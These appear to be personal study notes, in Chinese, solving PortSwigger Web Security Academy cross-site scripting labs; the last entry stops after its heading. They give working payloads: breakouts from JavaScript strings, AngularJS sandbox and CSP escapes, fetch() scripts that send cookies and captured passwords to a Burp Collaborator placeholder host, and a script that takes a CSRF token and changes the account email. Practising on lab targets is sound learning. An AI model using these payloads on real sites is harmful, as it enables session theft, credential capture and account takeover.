https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped
输入内容会被放到script中并且即使是xss也会被转义,但是可以/?search=aaa</script> 直接打断它的闭合释放后面的xss
正确payload为/?search=aaa</script><script>alert(1)</script>
<script>
   var searchTerms = 'aaa';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>


# 利用反射型 XSS 攻击,攻击对象为包含尖括号、双引号、HTML 编码且单引号转义的 JavaScript 字符串
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped
payload为/?search=aaa\';alert(1)//175 加分号断开变量释放alert 而它刚好在script中 触发弹窗
<script>
  var searchTerms = 'aaa\\';alert(1)//175';
  document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>


# 将 XSS 存储在onclick事件中,使用尖括号和双引号进行 HTML 编码,并使用单引号和反斜杠进行转义
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped
payload为http://foo?&apos;-alert(1)-&apos;


# 利用反射型 XSS 攻击模板字面量,该模板字面量包含尖括号、单引号、双引号、反斜杠和反引号,并已进行 Unicode 转义
模板字符串(Template Literal)
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped
payload为${alert(1)}  似乎${1+1}也能识别出2


# 利用跨站脚本攻击窃取 Cookie  ✨✨✨✨✨
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
评论输入以下 payload为
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>


# 利用跨站脚本攻击窃取密码 
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords
评论直接输入 这感觉太鸡肋了,哪个人会在这里输入账号密码的  不如偷cookie来的隐秘
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">


# 利用 XSS 绕过 CSRF 防御
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
他是先访问my-account解析匹配出csrf 然后发起修改邮箱成目标,巧妙啊
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>


# 使用 AngularJS 沙箱逃逸实现反射型 XSS(无需字符串)✨✨✨✨✨
https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings
payload为/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

1. 绕过引号限制
   → 用 toString() 获取空字符串,不用 ' 或 "

2. 获取 String 构造函数
   → toString().constructor

3. 污染原型,破坏沙箱
   → String.prototype.charAt = [].join

4. 生成恶意代码字符串(不用引号)
   → String.fromCharCode(120,61,97,108,101,114,116,40,49,41)
   → 结果是 "x=alert(1)"

5. 将恶意代码注入 orderBy 过滤器
   → [1]|orderBy:x=alert(1)
   
6. 沙箱检查被破坏,恶意代码被执行
   → alert(1) 弹出


# 利用 AngularJS 沙箱逃逸和 CSP 实现反射型 XSS 攻击 太难了看不懂 ✨✨✨✨✨
https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>


# 反射型 XSS 攻击,事件处理程序和href属性均被阻止 ✨✨✨✨✨
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked